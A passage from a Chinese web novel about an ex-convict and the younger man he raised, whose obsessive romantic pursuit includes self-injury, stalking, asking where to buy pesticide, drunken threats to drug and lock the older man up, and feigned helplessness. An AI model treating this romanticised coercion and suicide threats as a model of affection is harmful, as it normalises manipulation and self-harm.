应不尘转过头来,湿漉漉的眼睛不知道是疼的还是咋的,瞧着周瞳说,“我早发了誓了,这辈子不叫你受委屈。”
周瞳想推他远点儿,但是他就这一片伤口在自己眼前,再气也不能说难听话,只得说,“那你也不能伤你自己啊。”
“我故意的。”应不尘说,“我就想瞧瞧我自己能为你到啥地步。”
“犯不上。”周瞳擦了一片薄薄的药膏,又慢慢地吹着他的背,说,“我过不去我自己的坎儿。你说那些没用。”
“有用没用的,”应不尘低着头,一大颗眼泪就掉下来,他搓着手指说,“我不信你的心是铁打的。”
“我心是肉长得,看你这样我也不好受,”周瞳吸了吸鼻子说,“但是咱俩那事儿不行。没商量。”
“可能我离你远点儿,你能好受点。”周瞳说,“咱两就先分开住一段,行吗?别栓我身上了,我觉着累。”
周瞳站起身就走了,最开始他感觉他能把应不尘矫正过来,就是太久没见他,就是家里人不爱他,他才会这样,但凡好好料理着,有个做哥的样子,他或许就慢慢好了。但是事实证明,他只会变本加厉。
周瞳开始收拾自己为数不多的行李,把应不尘给他的存折扔在上,收走了烟跟打火机。
周瞳要出门,应不尘从后面抱住了他,哽咽着说,“你要啥,我都给你。”
“我不要。”周瞳转过来说,“行了,这回别闹了,好好的吧,咱都好好的。”
***
41. 等你回家
过年的深冬,周瞳不知道自己该去哪儿,他想偷偷去看看风子的孩子,现在可是会喊人了?
旺旺两口子还在经营那个小饭店吗?黄师傅现在在哪里呢。
周瞳坐上了去宜华的大巴车,上了车就闭着眼睛睡觉。
冬天的时候他的眼睛不会那么涩,也没那么畏光,夏天的时候才难受。
周瞳点了点眼药水,闭上眼睛就要睡觉了。
他记得风子的老家在宜华约摸七十来公里的乡下,他们跑车的时候周瞳总说绕过去看看,风子心疼油,咋的都不肯去。唯一一次去,还是因为他们开运输公司了,新的大车,他开回去叫他妈瞧瞧,自己也是开上这么大的玩意儿了,这大车在他眼里跟坦克没区别。
风子说他妈是给别人去佛堂里念经的老太太,周瞳知道,就跟他刚来宜华的时候遇见的那个带着佛牌的老太太一样,经过他们念了的纸钱可以烧到下面去。
但是这事儿干巴巴念一天,被香火烟熏火燎的来一天,也没几个钱。
周瞳下了车,就往风子的家里边走,不敢说自己是谁,只敢在外面偷偷看,是个小女孩儿,太小了,还要抱着呢,现在瞧着长得不像他爸,他爸太显老了。
女孩儿咯咯笑,引得周瞳也想笑。
他们住在一个黄泥巴的平房,垒了几块砖就算是个院子。
周瞳连去给风子上个香都不敢。
年二十八的晚上,周瞳一个人摸去了风子老家的坟山,拿着个棍子到处找,翻了半座山,最后找到了风子的坟。
周瞳在风子坟前抽烟,坐在水泥砖上,烟都烧完了,他啥也没说。
那会儿的坟还没有照相,不香公墓,上头还有个人,这种就是光秃秃的一块板,上面写了个名字。
他身上也没什么钱,只有一卷儿,是应不尘给他存在号子里的,出来就到他手上了,他用塑料袋卷起来,在人家都睡觉的时候放在了水槽上,压了一块砖头。
年二九,周瞳在宜华的小旅馆,过完年吧,过完年看看能干啥。
外面过年的味道太重了,出去就能闻到烟熏火燎的。
过年的饭店都不开门了,周瞳开了罐泡面吃。
那会儿进去两年的时候吧,身边的人陆续都有减刑的了,他们都在互相恭喜,要说号子里哪两夜最长,就是进去的头一夜跟出来的前的最后一夜。
基本那个晚上都是战战兢兢,不能睡觉。
周瞳看这天花板,忽然觉得白过了这么多年。
这么多年,到底自己干了些什么呢?
有人敲门。
周瞳打开门,是应不尘站在门口,手上拎着饭菜。
周瞳堵在门口,说,“你又来干什么?”
“找你。”应不尘说,“我刚炒的,你吃点儿。”
“我不饿,”周瞳说,“你咋跟个鬼一样没完没了的呢?你到底要把我弄成啥样你才罢休啊?我真的不明白应不尘,你小时候混账就算了,怎么这么大个人还这么混账啊?”
“嗯。”应不尘说,“你先吃饭。”
“我吃啥呀?”周瞳不让他进,“滚回去。”
“先吃饭。”应不尘的声音哏着,透着一股犟种的可怜样。
“我吃个毛啊,”周瞳说,“大过年的,你能让我消停点吗?”
“我不能。”应不尘抬起头来,说,“我不能。”
“你越逼我,只会越把我逼走,”周瞳沉了口气,说,“挺没意思的。”
应不尘把饭菜递给周瞳,说,“那你吃,我走了。”
周瞳接了,关上了门。
应不尘弄东西死难吃,小时候做饭难吃就算了,长大了做饭还那么难吃。
周瞳又折回去吃自己的泡面。
小旅馆的楼下在放喜气洋洋的电视,聒噪的小品让他辗转难眠。
夜半的时候周瞳打火机打不着火,出来借个火,就看见应不尘背着个包蹲在门口,已经睡着了。
他听见开门的声音立马醒了,周瞳仔细一看,门把手上栓了根绳子,他穿自己手腕上了。
周瞳皱起眉毛来,刚要说话,应不尘从包里手忙脚乱的掏出好几样东西,打火机,烟,矿泉水,他也不说话,一股脑往周瞳手上塞,然后把他推进去,又把门关上了。
弄得周瞳都不知道咋回事儿。
“你不好蹲在客人门口的呀!我们要做生意的呀!”旅馆的老板娘应该是个南方人,声音娇滴滴的。
“我开了房,在隔壁。”周瞳听见应不尘的声音,他说,“我就坐一会儿。”
老板娘不能赶客,也不管他了。
周瞳觉得不能对他心软,蒙上被子就要睡觉,之前就是太心软了,才惯的他跟自己说那些大逆不道的话。
一整夜都没有一点声音。
周瞳睡得迷迷糊糊,睁眼的时候感觉这天实在是太冷了。
周瞳趴在门板上听,没声音,就把门打开了,一打开,一个人就歪他脚上了。
应不尘的脸有点红,似是冻傻了。
周瞳啧了一声,踢了他一脚,才发现踢也踢不醒。
周瞳拽着他的肩膀摇了两下,他睁开了一点点眼睛,滚烫的脸就往周瞳身上贴,手就往周瞳身上圈,死扣着,轻声说,“瞳哥,你能别对我这么狠吗?”
“我不愿意对你狠,但是对你不狠,你就完了。”周瞳说,“起来,身体养好了就回去,听话,行吗?”
“我不想听话,”应不尘滚烫着脸,说,“我这次,死也不让你走。”
“我知道,你一走,我这辈子都见不到你了,”应不尘的眼泪啪嗒啪嗒地往下掉,“如果是这样,我真的没法活了。”
“你才多大。”周瞳拽着他起来,把他手挣开,拎着热水壶倒了一杯热水,说,“等以后,时间长了,你就知道了,没啥坎儿过不去的。”
应不尘坐在周瞳的床上,盖着被子,捧着茶杯,热气熏着他的眼睛,他看着窗外,说,“没有什么坎儿过不去,那是想过去。”
“我不想。”
周瞳叹了口气,点了根烟,歪着脑袋撑着额头,说,“我打也打了,骂也骂了,跑也跑了,你要把我逼到什么份上。”
“逼得我再进去一次,你就舒服了吗?”周瞳的烟雾吞吞吐吐,不像抱怨,像询问。
应不尘抹了一把眼泪,抿着嘴不说话。
“你要这么着,我大过年去街上抢一把,抢了就能进去,”周瞳说,“行不?我这辈子我他妈欠你的,行不?我没地方躲,我进号子,行吗?草你吗的,我真的,我是不是他妈的给你脸了?啊?”周瞳说着话就急眼了,一脚踹翻了凳子。
应不尘还是在那儿不动,他转过来问,“瞳哥,你是不是特想我死啊?”
“那会儿放火的时候我就该死,现在更该死。”应不尘看着周瞳,问,“我是不是这辈子就会拖累你,我在你眼里连个人都算不上啊?”
他说话的时候口气太冷冰冰了,根本不像一个十八岁的少年。
他笑了一下自嘲地点点头,掀开被子,说,“我这辈子,我就等你了,我小时候你要去干啥挣钱,忙是吧,我等你,你后来被我害得欠债了,我还是等你,进去了我还是等你,出来了我还是等,我等够了。”
“我不想等了。”
应不尘穿上鞋子,就走了。
周瞳嗙一脚踢上了门,气得在床上睡不着,爱死死去,草他妈的。
不跟他好就上吊,就要死要活的,谁惯他臭毛病啊。
他妈的不管是弟弟还是儿子,这他妈的谁家正常人能受得了这个玩意儿?
周瞳也想过,应不尘那种心思重的小孩儿他出来指不定要咋跟他发誓以后孝顺他呢,但是自己个儿现在也没三十岁,指着一个二十的来孝敬算啥回事儿的。周瞳那会儿知道应不尘在等他,顶多就跟他黏糊在一起,等他懂事儿了明白劳改这事儿有多恶劣搞不好就疏远了。
周瞳总是愿意把账算在前面的。
但是这小子倒反天罡,要跟他处对象?!
最开始还觉得就是他想自己想疯了,现在瞧着他是铁了心了。
这玩意儿咋处啊?人家咋看他们?
先不说同性恋吧,这玩意儿出去都要让人戳脊梁骨,周瞳自己的脊梁骨倒是早被人踹习惯了,那应不尘这根苗苗他养的也是费劲心思了,他还上杆子让人戳?
接着就是他劳改的事儿,就算他俩年纪相仿也不能耽误人家,穷有穷的过法,但是劳改过别人总是连全家都看着发怵的,他还上杆子来贴?
最后这个他俩的关系问题,知道的是他弟,不知道的还以为周瞳是他爹呢,那小子本来长得就显小,他俩站一块,完蛋,周瞳三毛病往上一怼,一心思这个事儿就想发疯。
他咋想的?啊?他咋想的?
说是这样说,但是周瞳还是从床上起来了,他套了个棉袄,踩着鞋就往外走,应不尘把包也留在这里了,他的书包还是原来周瞳买的那个,看起来已经很旧很破了,明明那么有钱,给自己添置那么多东西,他自己就还是那样,那衣服都小多少了自己看不出来么,那鞋都戳脚趾了,周瞳看一眼就知道了。
他可是养过孩子的人。
周瞳拎着他的包往楼下下,
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问老板娘,“刚刚那小男孩儿往哪走了?”
“他跟我打听这附近哪里有卖农药的。”老板磕着瓜子还在看电视。
农药?!
周瞳后背都僵直了,连连往外跑,拐了一条街才看见应不尘摇摇晃晃的在前面走。
“干啥去?”周瞳问。
“去找我奶。”应不尘说。
“找你奶你带农药?”周瞳问,“跟她干杯啊?”
“还没买。”应不尘微抬着眸子,不屑地说,“你又出来干啥呢?你又不要我,就不要搞得一副在乎我的样子了,行吗?”
“合着我还讨你嫌了是吧?”周瞳说,“我让你死路上你就舒服了是吧?”
“嗯。”应不尘甩开他的手,说,“对。”
应不尘似乎是喝了不少白酒,发烧了,又灌了酒,有点儿酒气,摇摇晃晃地说,“我让你给我装英雄了吗?啊?我放火了,他们要钱要命的,我给不成吗?我要你装英雄来拯救我啊?”
“欠那么多钱,你就跑呗。”应不尘醉醺醺地,“你跑出去,那会儿我也没地方找你去,你好好过日子啊,你就不跑,你就非要守在我边上,你兜里几个钱啊?你还要供着我啊?”
“你欠我啦?”应不尘指着周瞳的鼻子说,“你欠我啥啦?”
“你就没把我当人,”应不尘甩开周瞳要接他的手,“进去了,更牛了,不行了,那就是劳改了,劳改了就不能沾我了,怕我沾着你我就污糟了,这些事,你问过我一次吗?”
“啊?”应不尘揪着周瞳的衣服,说,“你干这些事儿的时候,你问我了吗?”
“口口声声的,为我好,”应不尘说,“我他妈要你为我好?我他妈用你为我好?我这辈子我都欠着你,我怎么还我都还不清,我天天想你,想得我觉得我这辈子,除了你,我什么都不能指望了。”
“我不要脸,我恶心,我是畜生,”应不尘说,“你不恶心,你高尚,谁能有你高尚啊?我是个人啊,我就是比你小了点,我就是小时候吃了你的饭,我就是你弟弟啦?我就是你儿子啦?我告诉你我啥也不是,我跟你从来没上过一个户口本,我他妈想喜欢你我就喜欢你,我想跟你好我就要跟你好,跟你有什么关系啊?”
“你告诉我,”应不尘说,“你这样的人放在我面前,我这十年,敬你,等你,感恩你,心疼你,我没机会了,我也没力气了。”
应不尘哭得抽不上气儿,他握着周瞳的手臂,把他抓的直痛。
应不尘说,“我们反过来过一过,我真的,求求你,你去过一过我的日子吧,去过一过我看着你在外面为我受苦我无能为力,去过一过亲眼看着你进去但是我什么都做不了的日子,你去过一过没有指望的等你的日子,行吗?”
“我想跟你好,你不同意,”应不尘说,“我早知道,那又咋了?咋了?我问你咋了?”
“只要你在我跟前,我就要跟你好。”应不尘咬着牙,“你打不死我我就跟你好,我给你下药,我给你关起来,我给你的衣服都偷走,我就要你在我跟前,谁他妈都别想碰你一下子,咋了?”
“神经病。”周瞳说。
“我早他妈有病了我,”应不尘推了他一把,“草。”
“哪儿学的一嘴脏话,”周瞳说,“滚回去醒酒。”
“我滚哪儿去,这哪儿有我的家啊?”应不尘转过来说,“当你的爹去吧,当你的哥去吧,我就不乐意看你那样子,真的,你都不如别出来,别出来了我毛病还没这么重,你出来了,行了,我整个完蛋了。”
“草,”应不尘往前走,“你要钱,我给你钱,你要心,没有人比我的心更诚,你想要啥,你说说话,你偏不,你有当爹当哥的瘾,你才他妈不正常,你才不正常!”
“行,我不正常。”周瞳把包一扔,扭头走了。
“赶紧走吧。”应不尘摇摇晃晃继续往前走,累了,瘫下来喘气。
周瞳就站在远处看着他,灵星的有几个烟花炸开,街道上已经没有什么人了,薄薄的雪慢慢地撒,路灯在过年总是要天明。
周瞳看了看天,又看了看已经躺在地上的应不尘,这一场雪要是下来,这小子非冻死不可,这儿每年都有酒蒙子冻死在雪里,没人知道,等雪化了,才能看见他早就睡着了。
周瞳还是过去把他拽起来了。
他的脑袋磕在周瞳的肩膀上的时候,说,“你不正常。”
“我又没精神病。”周瞳把他捞起来抱着走,应不尘圈在他脖子上,叹了口气,说,“你到底要干啥啊?”
雪温柔地坠,飘摇间听见他闷声的问答:“等你回家。”
42. 就这样吧
应不尘吐了大半夜,周瞳睡不消停,本来把他放在隔壁,但是一吐就开始嚷嚷,老板娘来说了好几次,没法子,周瞳又把应不尘弄自己屋里了。
周瞳坐在凳子上,就这么看着他。
他醒一点儿就过来拽周瞳的手,他背上的伤还没好,周瞳要去包里翻药,一动他就醒。
“拿药给你涂,别发癫。”周瞳说。
“瞳哥,你咋在这?”应不尘问。
“睡你的觉吧。”周瞳说,“神经病。”
凉丝丝的药膏让人哆嗦,周瞳把药膏涂在自己的手上,等没那么凉了就往应不尘的背上涂。
“瞳哥,”应不尘那药往上一涂就疼的直抽抽,一抽就往周瞳身上扑,“你别走,好不好。”
“你说什么就是什么,”应不尘掐着他的胳膊低着头流眼泪,“你跟我回家,好不好。”
“我真的听话了,”应不尘一脸眼泪地说,“以后我都不敢了,好不好。”
“真的?”周瞳问。
应不尘抬起头来,瘪着嘴说,“真的。”
“你再犯病怎么弄?”周瞳给他涂药。
应不尘擦了一把眼泪,说,“我不犯病。”
应不尘的背上缠了纱布,动一下估计就扯着疼,吐的时候又脸色铁青,人又发烧了,真是没个好了。
周瞳也累啊,昨晚上他去风子那爬了半个山,又倒回来坐了两三趟车,他两一人一头。
二人一人一头。
半夜的时候,应不尘抱住了周瞳的脚。
就像每年冬天的节目。
周瞳说,“你睡你的。”
“你脚冷。”应不尘说。
“脚冷跟你有啥关系。”周瞳说。
“你不是说叫我当你弟弟吗?我当弟弟的时候就是这样的。”应不尘的脸贴在他脚上,死烫。
“那你长大了,没这样的。”周瞳要去挣脱。
应不尘说,“当弟就得抱着。”
“跟我犯浑呢?”周瞳问。
“我没。”应不尘干巴巴地放开了,说,“你脚冷。”
“有病,赶紧睡觉。”周瞳转过去了。
“瞳哥,”应不尘说,“我太热了,我要抱着冷的。”
“那你掀被子呗。”周瞳说,“冲冷水去,你往我身上黏啥?”
“哦。” 应不尘就起来了,再接着就真的听见了卫生间水开的声音。
“...”周瞳又喊,“滚回来。”
“冲冷水不是更感冒了,臭傻逼。”周瞳说,“你咋事儿这么多呢?”
“我真的好热,”应不尘说,“我难受的很,医院也关门了。”
“瞳哥,”应不尘说,“你还是让我去冲冷水吧,你把被子盖好,就听不着了。”
应不尘又要进去。
“我真服了。”周瞳说,“滚过来。”
应不尘唯唯诺诺就过来了,还挺像真不敢碰周瞳似的呢,绷得邦邦硬。
他身上太烫了,周瞳又累又困,让他折腾了一天。
他的脑袋往周瞳的怀里拱了拱,特别小心的一动不动。
等周瞳睡着了,他看着周瞳的脸,那是酒也醒了,人也不癫了。
昨晚儿自己房间淋的冷水也是值了。
应不尘看着周瞳的眉眼,他睡觉的时候没睡相,一睡着就开始乱动,他歪在应不尘的肩膀上,应不尘没忍住,又是偷偷亲了一口。他挠了挠,似是痒。
应不尘把他的胳膊放在自己身上,又掖好了被子,瞧着周瞳傻乐。
他的手指不敢碰触他的眉眼,怕一点,周瞳就会散了似的。
下雪的时候天总会特别亮,窗帘露出的一点儿路灯的芒光掉在了周瞳的脸上,应不尘觉得舌头发痒,像是看见了薄薄的橘色的麦芽糖。
周瞳身上的味道好闻,他在哪儿都没有闻到过这个味道,应不尘仔细嗅了嗅,又把头埋进去他的怀里。
一大早,老板娘就来说,不叫他俩住了,说那应不尘又喊又哭的大过年的发丧似的。
应不尘睡眼朦胧,小心翼翼的看着周瞳,说,“我们...回去吗?”
“那他妈咋整。”周瞳挠头发,说,“你睡好了没有。你人咋样啊现在,还有没有不舒服?”
应不尘故意跟周瞳挪开了一点距离,说,“还,还好。”
“你睡好了就行,”周瞳说,“疯也发了,话也是你自己说的,没忘吧?”
“没。”应不尘低垂着眸子,说,“我不敢了。”
周瞳收拾了东西,二人就去车站买回去的票。
过年的车站全是人,应不尘特意跟周瞳又隔着一点点,比之前看起来更尴尬了。
“瞳哥,你,你坐,我去给你打热水。”应不尘刚说完就好像又怕周瞳跑了似的,说,“算,算了,人多,一会就到了。”
“你又是咋找着我的?”周瞳问。
“从新春出来的大巴车上。”应不尘老实说。
“你那会儿就跟着我了?”周瞳问。
“嗯,到风子那去了,我就在你后头。”应不尘说。
“你跟踪我啊?”周瞳拧眉。
“你没带多少钱。”应不尘说,“我又不敢跟你说话。”
“你还有不敢的事?”周瞳歪在长凳上,说,“你昨天骂我的时候那可厉害了,你把我骂的跟狗一样。”周瞳冷笑了一声。
“喝酒了,不能当真。”应不尘摆摆手说,“要不我去往奶那跪一天给你赔罪。”
“别扰你汪奶清净了,死了都没消停。”周瞳说。
“瞳哥,我给你背包呗。”应不尘说,“你重。”
“管好你自己就谢天谢地。”周瞳一拍他,说,“上车了。”
兴许是拍到了伤口,应不尘轻轻嘶了一声,周瞳问,“又疼是不?”
“还好。”应不尘说,“没事儿,瞳哥,咱先回去吧,明天就过年了,今天要买不上菜了都。”
“你那饭做的,”周瞳说,“买不买菜能咋,买俩鞋垫子炒一炒,都一个味儿。”
周瞳上车就开始睡觉,他妈的自己这是干啥呢?昨天才从他哪儿跑出来,今天又回去了?真服了。
应不尘倒是小心翼翼的,连手都不跟他挨在一起了。
那也还行,起码他正常了。
“瞳哥,对不起。”应不尘说。
“又咋了。”周瞳问。
“我不该对你这样,”应不尘说,“我就是等你等得太久了,我昨晚上也想清楚了,你能原谅我吗?”
“就这么地吧。”周瞳说,“以后不犯病了就行。”
“那我能跟你挨在一起吗?”应不尘轻声说,“我边上这人有狐臭,我闻了有点恶心,想晕车了。”
周瞳看了看应不尘边上的大汉,瞧着是有点儿埋汰,说,“那你过来点儿。”
应不尘挨在周瞳边上,抱着自己的包,说,“这位置就是硬,硌得我后背都痛,但是瞳哥,我没那意思,你不要误会。”
“那你靠我身上。”周瞳说,“叫你能的,你那个背要是留疤了,你难看死了。”
“我知道错了。”应不尘说,“对不起。”
他一道歉吧周瞳心里就不是滋味,他攒着钱,给周瞳买房子,给他置办那么多东西,完了就是心性小,弄不清楚那什么劳改或者他俩这关系的,谁家这大孩子遭这么大变故心里没点毛病,尤其心思这么重晓得感恩的,更是憋着恨自己。
一这么想,周瞳就觉得这娃可怜。
“你包给我。”周瞳说,“冷不冷,别又感冒。”
“有点儿。”应不尘说,“手年年长冻疮,一到这地方暖洋洋的就犯痒。”
这玩意儿之前周瞳在洗头那段时间最严重,晚上都痒醒的滋味他最是清楚,说,“我手冷,我给你撰着。”
应不尘挨在周瞳身上,手也叫拉了,
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靠那么近,周瞳要不是自己开车他就睡大觉,一直以来他都这样。
周瞳睡着了,应不尘又忍不住看他,但是这儿太吵了,保不齐他就醒了,所以也不敢过分偷看。
周瞳一睡醒,就到了新春了,应不尘老老实实,也不说疯话了。
“瞳哥,咱到了。”应不尘去给周瞳拿包,二人又要回到小区里的房子。
应不尘说,“我过完年大概十五六就开学,我给我自己报一个补习班,我初一二三在家,初四我就出去学习,等上学就直接去学校,我就不在你眼前碍眼了,瞳哥,我说的话算话,你说的算话吗?”
“啊,”周瞳仰在沙发上,说,“你用不着这小心,过年你想歇歇就歇歇呗。”
应不尘摇摇头说,“还是算了,这个抽屉里我给你买的烟,这边都是从前带回来的打火机,但是抽烟身体不好,你还是少抽一点。”
“我的话,”应不尘说,“挺不是个东西的,我就多在外面待一会儿,让你清净清净。”
周瞳啊了一声,打开了电视,说,“你读书那你愿意去读就去读呗,在家也行,你别这样,就大大方方的就行,好不?”
“嗯。”应不尘给汪奶点了香,站的端端正正的,搓着手一脸做错事情的样子,说,“知道了。”
过年这天反而街上没什么人了,周瞳起来的时候都中午了,应不尘正在厨房做饭,看见周瞳起来了,说,“瞳哥,我给你新买了衣裳,你过年穿,然后你的衣服,也不是我洗的,我怕我洗你的衣服你不高兴,我找外头干洗店洗的,过年还要加钱。”
“我哪那么多不高兴。”周瞳打了个哈欠,说,“吃啥啊?”
“你讲我做饭难吃,我今天不是我做的,”应不尘说,“我找我们老师给我炖好的,我就端回来再煮一煮就行了。”
“一早上干这么多事儿呢?”周瞳说。
“嗯,我第一回有人跟我过年了嘛,以往每年都都在宜华,都在外面,我想跟你好好过个年。”应不尘低着头,翻着锅,擦了一把脸,说着有点不舒服了,“你也好久没...好好过年了,我还惹你生气...”
“行了诶,”周瞳说,“哭啥。别哭了,过年过年呗,咱两过。”
周瞳看着沙发上叠的方方正正的衣服,说,“花那冤枉钱,你这小抠门不得难受死。”
“但是我更怕你生气。”应不尘说,“我又不敢帮你洗。”
“你洗你的呗,”周瞳说,“我饿了,弄一碗给我吃。”
“马上,马上。”应不尘说,“我老师烧的红烧肉,特别好吃,那会儿我刚来新春的时候,那李泥鳅也不管我,我饿着肚子上学,我老师领我吃的,跟汪奶似的。”
周瞳觉得这孩子真是太苦了。
“不想那些事儿,过来吃饭呗。”周瞳打开了电视,电视里面都是跟过年有关系的节目,换来换去都一样。
应不尘现在吃饭都不挨他边上了,端着个碗坐沙发边上吃,还笑眯眯的说,“瞳哥,你多吃点。”
周瞳看着他缩成一团吃饭的后脑勺,没来由地觉得自己说他的话有点过了。
“唉,你下午去干啥?”周瞳问。
“没干啥,你看电视我就去房间读书,你要睡觉我就在外面。”应不尘看着电视,头也不回的说。
“嗷,”周瞳说,“你就给我买了衣服,你自己没买?”
“我不用。”应不尘还是不转过来,说,“我就去学校,穿啥都一样。我抠惯了,给我穿我也穿不明白。”
“我给你养这么穷酸吗?”周瞳拧眉说,“出去买一件去。”
“真不用。”应不尘吃完饭,就进去学习了。
周瞳觉得应不尘的变化有点让他难受,说不上来的难受。
就那种紧绷绷的,固着自己不能犯错的,把周瞳当恩人又当亲爹的感觉,比之前更差了。
算了。
这样就这样吧。
43. 兄友弟恭
周瞳过年的下午又睡了一个大觉,他又没啥事儿干。
应不尘老老实实的看书写作业,也没发疯了。
周瞳进厨房点了火,冷冰冰的房子里他开了灯,应不尘做完作业还趴桌子上睡着了,周瞳给他掀了件衣服盖。
等应不尘醒的时候菜也热好了。
春节联欢晚会就开始了。
应不尘说,“还麻烦你做饭了。”
“那有啥。”周瞳夹了几口菜,说,“你好好的话,我得心思心思过年我干啥。”
“嗯,”应不尘低头吃饭,说,“你干啥都行,找你喜欢的,我不会再来捣乱了。”
“嗯。”周瞳说,“吃饭吧。”
应不尘吃完了饭,就坐在小凳子上看电视,说,“我下午去买瓜子了,从前都是我剥了你吃,现在估计你也不愿意,你自己叨吧。”
“我就不乐意吃这些麻烦的东西。”周瞳说,“又要剥又要弄的。”
桌子是核桃,花生,瓜子。
应不尘嗯了一声,还是坐在那看电视。
晚上的烟花从八点就开始炸了,吵的周瞳耳朵疼。
“你现在不喜欢玩炮了啊?”周瞳自己剥着瓜子。
“嗯,不喜欢了。”应不尘也不回头,“就是烧钱,从前你挣钱辛苦我不知道,总花你的钱去烧炮,挺不好的。也就你惯着我。”
“说那话,见外的很。”周瞳歪在沙发上看电视。
“嗯,”应不尘说,“早点休息。我早上报了补习班,过两天就去上课,你早点休息。”
周瞳一个人坐在沙发上看电视,啥电视也没看进去。
就这么的,整个初一初二初三都一样。
初四的早上等再睡醒,就是有人敲门,喊,“是不是你家孩子啊?!在路边躺着呢!”
“啊?”周瞳穿上衣服就跑了出去,应不尘已经让人扶起来了,小子又冻着了。
周瞳上去抱着,说,“咋在这儿啊?”
“我说好了老师那要上课,早上就出来了,结果今天不开课,老师家里有事了,”应不尘对周瞳有点不好意思的笑,说,“我跟你讲了我出去读书让你清净,怕你烦我,又怕你觉得我撒谎,自己说的话自己不算,我就想坐在这里算了,到下午再回去。”
“你这...”周瞳拧眉说,“我真没烦你,快快快,回去,冻死你了要。”
“你这傻不傻呀?”周瞳说,“你真别这样,这几天我看出来了,你是真的知道错了的,咱就正正常常的,像从前一样,成吗?”
周瞳往他怀里塞了一杯热水,又拿了个热水袋,塞他脚底下。
应不尘低头吹着热气,哽着说,“我实在害怕你走。”
“我听话了。”应不尘的眼泪就啪嗒掉在杯子里,又放在边上,抱着腿,又重复了一次,“我真的听话了。”
“我知道你听话了,”周瞳说,“别哭,我知道你听话了,我不走,我哪儿也不去,好不好?”
“瞳哥,”应不尘扑在他身上,说,“瞳哥,我都不敢碰你,可是从前明明你一回来就先抱我,我不敢,我好想你抱抱我,你回来之后,一次都没有抱过我了。”
周瞳摸着他的脑袋,说,“只要你不想那事儿,我就一直在你边上,成吗?我哪里也不去。”
“嗯。”应不尘说,“我好冷,瞳哥,我腿都是僵的,可是我更怕你觉得我撒谎,觉得我就是要在这里碍眼。”
“这,”周瞳说,“那你腿别冻坏了,我给你拿个热水袋你捂捂。”
应不尘说,“我脚趾都要掉下来了。”
“放我肚子里,”周瞳说,“过来,咋还跟小时候一样一样的。”
“我就长到你走的那一年了,”应不尘说,“四年了,我冷热都没有人管了。”
“难怪个也长不高,我跟你这么大时候早就现在这个子了。”周瞳烘着他的手,把他抱在怀里,把他的脚藏在肚子里,说,“暖和点没。”
“瞳哥,”应不尘仰着头说,“为啥我总惹人嫌弃,为啥大家都不待见我,最后弄得你也不待见我了。”
说着他的眼泪就开始掉,脸侧起了一片红皮。
“哭啥。”周瞳擦他的眼泪,说,“别管他们,我咋不待见你了,那不是为你好么,我没办法呀。”
“我不要你为我好。”应不尘说,“你这样只会让我觉得...觉得我真的害惨了你。”
“又哭,”周瞳说,“没事儿呀,真的,你不是说我有当爹当哥的瘾脑子不正常么。”
“我怎么能这么说你。瞳哥,对不起。”应不尘的眼泪擦都擦不完,“我太混账了。”
“哎呀,没事儿,”周瞳说,“还冷不冷了?”
“冷的。”应不尘说,“瞳哥,你回来了,我就家里有人了,别人就不会欺负我了。”
周瞳沉了一口气,说,“嗯,谁也不欺负你。”
应不尘抱着周瞳的脖子,还抽噎得上不来气儿,他闻着周瞳身上的味道,再睁眼的时候眼角滑过一抹狡猾的笑意随即又恢复了那可怜巴巴的样子。
“瞳哥,好了,”应不尘说,“我不冷了,只要你别烦我就行。”
“那你好好睡一觉还是我给你把书拿过来啊?”周瞳问。
“你能坐我边上吗?” 应不尘说,“我这几天我都不敢瞧你,好好的年被我弄成这样。”
“你这儿有闲书吗?”周瞳问。
“抽屉里有,你从前看得那些,故事汇啥的,”应不尘说,“谢谢瞳哥。”
“客气啥呀。”周瞳搬了凳子坐在应不尘边上,他就在床上看书。
周瞳就坐不了这种凳子,卡得板板直直的,就开始歪了,腰酸背痛。
“嗯..”应不尘哼了一声。
“咋了?”周瞳问。
“背,有点烧。”应不尘说。
“啊!”周瞳说,“这两天没给你涂药呢,草,你咋也不说呢。”
“我自己涂不上。”应不尘说,“瞳哥,给你添麻烦。”
“啥呀,”周瞳说,“把衣服脱了,转过去,我给你涂。”
周瞳盘坐在床上,把药膏放在杯子边上贴着,然后再给他涂上。
应不尘说,“又冷又僵,还要涂药,头都撑不住了,捂着又难受。”
“躺我腿上。”周瞳把他捞起来,放在自己腿上,又给他涂。
“瞳哥,”应不尘说,“你咋这么好呢。”
“我好啥呀。”周瞳说,“这让你这顿遭罪。”
“你就好。”应不尘说,“没人能比你更好了。”
“你只要好好的,咱就啥事儿没有,那词叫什么,兄友弟恭是吧。从前你汪奶奶就这么说。”周瞳说。
谁要跟你兄友弟恭。应不尘想。
“嗯。”应不尘说,“我知道了。”
“瞳哥,”应不尘说,“你过完年了我觉得上班没啥好的,要不然你看看开个店什么的。”
“我考虑考虑干啥。”周瞳说。
“现在家电多,”应不尘说,“修家电特别坑。”
“我上一段也看见楼下那电器店了,现在时俏,卖的老好了。”周瞳给他涂完药,说,“到时候我开个店,你就好好读书,有别的
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啥事儿,你就考上大学再说,行不?”
“嗯。”应不尘说,“我听你的。”
春节一过,周瞳就在家里拆电视机,拆遥控器,拆二手手机,诺基亚,随身听。
他一边倒腾这些破烂家电,一边自己学,带着眼镜眯着眼看书。
他在里面也学了这些的,就是不好意思让应不尘知道。
阳台被周瞳改装成了一个工作台,他成天都在研究电路板跟零件,他还是很聪明,一学就会,没到那年的夏天,就能把电视机都拆得七七八八。
缝纫机逐渐退出了历史舞台,楼下补衣服的摊子也开始没什么生意了。
周瞳弄了一个小小的店面,交了一点押金,换上了玻璃门,在门上贴上「维修家电」。
开业时候,应不尘在外面叫了好几次,周老板!
叫的周瞳的老脸都红了。
其实在此之前,周瞳也想直接找个师傅,拎着点钱跟水果去学点手艺,但是学了三天,不知道他们怎么知道了周瞳是个劳改犯,就把周瞳赶走了。
“那我自己吃。”周瞳拎着香蕉,拍拍灰。
钱也撒在地上了,周瞳蹲在地上捡,风吹来的沙子迷了他的眼睛,他的眼睛又干又痛,这么小的事情,周瞳怎么就觉得嗓子苦鼻子酸了,没出息,周瞳轻轻的对自己说,“钱我自己花。”
周瞳怕应不尘知道,还是一样的早出晚归,佯装去学技术的样子,有事没事还要对付应不尘探的口风,他总是害怕周瞳过得不顺当。
周瞳怕看见应不尘的眼睛,看着他,像怜惜一个很惨的废物。
两个县城之间,说远也远,说近也近,当年的周瞳还是个名人,年纪轻轻开公司挣大钱,后来欠了一屁股的债楞是没跑,最后撞死了当地县城的好官还上了报纸,自发的去为那先生吊唁。
周瞳那混子的事儿最开始被添油加醋,后来慢慢细化拌蒜加葱。
